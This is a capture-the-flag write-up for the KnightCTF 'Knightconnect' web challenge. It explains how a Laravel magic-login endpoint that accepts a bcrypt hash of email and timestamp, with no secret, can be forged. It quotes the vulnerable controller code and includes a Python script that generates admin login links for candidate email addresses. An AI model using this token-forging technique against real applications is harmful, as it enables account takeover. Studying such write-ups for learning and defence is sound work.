KnightCTF

Knightconnect [100 pts]

 Challenge Description
Challenge Description
Link to files
Points: 100
Solves: 54
  • abuse the endpoint for logging with link to log in as user, as the authentication is based on inputs from the user with no interaction with the database

The home page is used for registration/logging in … lets create an account and log in.

Not much here, some posts and user names with Connect button that does nothing … Looking into the source files, we can see that routing takes place in /routes/web.php.

Route::middleware('guest')->group(function () {
    Route::get('/register', [AuthController::class, 'showRegisterForm'])->name('register');
    Route::post('/register', [AuthController::class, 'register']);

    Route::get('/login', [AuthController::class, 'showLoginForm'])->name('login');
    Route::post('/login', [AuthController::class, 'login']);

    Route::get('/request-login-url', [AuthController::class, 'showLoginUrlForm'])->name('request-login-url');
    Route::post('/request-login-url', [AuthController::class, 'requestLoginUrl']);

    Route::get('/login-link', [AuthController::class, 'loginUsingLink']);
});

There is an unusual endpoint at request-login-url, which is pointing to AuthController, which can be found at /app/Http/Controllers/AuthController.php. The interesting functions for us are requestLoginUrl and loginUsingLink. The request-login-url method takes email as parameter and generates a valid link which logs in as given user. After sending request with email as parameter, this function validates, that the user exists and crafts URL for /login-link endpoint, which includes email, timestamp of the request and token, which is hash of the email and timestamp concatenated by | character.

public function requestLoginUrl(Request $request) {
	$request->validate([
		'email' => 'required|email',
	]);

	$user = User::where('email', $request->email)->first();

	if (!$user) {
		return back()->withErrors(['email' => 'Email not found']);
	}

	$time = time();
	$data = $user->email . '|' . $time;
	$token = bcrypt($data);

	$loginUrl = url('/login-link?token=' . urlencode($token) . '&time=' . $time . '&email=' . urlencode($user->email));

	return back()->with('success', 'Login link generated, but email sending is disabled.');
}

The function handling the /login-link endpoint takes 3 query arguments (same as those generated in previous function) and validates the token based on email and timestamp (compares newly created hash with the token value). If it matches, the user session is set from the user found in the database and we get redirected to /users.

public function loginUsingLink(Request $request) {
	$token = $request->query('token');
	$time = $request->query('time');
	$email = $request->query('email');

	if (!$token || !$time || !$email) {
		return response('Invalid token or missing parameters', 400);
	}

	if (time() - $time > 3600) {
		return response('Token expired', 401);
	}

	$data = $email . '|' . $time;
	if (!Hash::check($data, $token)) {
		return response('Token validation failed', 401);
	}

	$user = User::where('email', $email)->first();
	if (!$user) {
		return response('User not found', 404);
	}

	session(['user_id' => $user->id]);
	session(['is_admin' => $user->is_admin]);

	return redirect()->route('users');
}

If we look into the users endpoint, we can see a snippet that checks, if the current user is admin and the flag is set and displays the flag.

@if (isset($flag) && session()->has('is_admin') && session('is_admin'))
	<div class="flag">
		Flag: \{\{ $flag->flag \}\}
	</div>
@endif

The flag is taken from a database in the /listUsers function.

public function listUsers() {
	$userId = session('user_id');
	$flag = Flag::first();
	if (!$userId) {
		return redirect()->route('login')->withErrors(['unauthorized' => 'Please login to view this page']);
	}

	$users = \App\Models\User::all(['id', 'username', 'email', 'is_admin']);
	return view('users.index', ['users' => $users, 'flag' => $flag]);
}

From these 3 observations we can conclude that the goal of this challenge is to generate link for the administrator account and use the /login_link endpoint to login into that account. After that we can simply check the /users endpoint to get the flag.

First, we need to identify the possible admin emails. We can locate some potential candidates in resources/views/contact.blade.php:

<ul class="email-list">
	<li>admin1@knightconnect.com</li>
	<li>admin@knightconnect.com</li>
	<li>tech@knightconnect.com</li>
	<li>sponsorship@knightconnect.com</li>
	<li>partnership@knightconnect.com</li>
	<li>nomanprodhan@knightconnect.com</li>
	<li>jannat@knightconnect.com</li>
	<li>hello@knightconnect.com</li>
	<li>root@knightconnect.com</li>
</ul>

I’ve created this python script for generating links for all possible users:

import time
import bcrypt
import urllib.parse

req_login_url = 'https://kctf2025-knightconnect.knightctf.com/request-login-url'
req_login_link = 'https://kctf2025-knightconnect.knightctf.com/login-link?'

emails = [
    'admin1@knightconnect.com',
	'admin@knightconnect.com',
	'tech@knightconnect.com',
	'sponsorship@knightconnect.com',
    'partnership@knightconnect.com',
    'nomanprodhan@knightconnect.com',
    'jannat@knightconnect.com',
    'hello@knightconnect.com',
    'root@knightconnect.com',
]

def generate_link(email):
    req_time = int(time.time())
    data = email + "|" + str(req_time)
    
    token = bcrypt.hashpw(data.encode(), bcrypt.gensalt(12)).decode('utf-8')
    token = token.replace("$2b$", "$2y$")
    
    params = {
        'token': token,
        'time': str(req_time),
        'email': email
    }
    new_url = req_login_link + urllib.parse.urlencode(params)
    print(new_url)

if __name__ == '__main__':
    for email in emails:
        generate_link(email)

Here is a short summary:

  • generate new timestamp and concatenate it with given email
  • calculate token using bcrypt.hashpw with 12 rounds
    • laravel bcrypt generates hashes with $2y$ prefix, while python with $2b$ … there are only a minor changes in implementation and for this usecase we can just replace the prefix $2b$ -> $2y$

After trying out few different link we managed to get the flag using email nomanprodhan@knightconnect.com.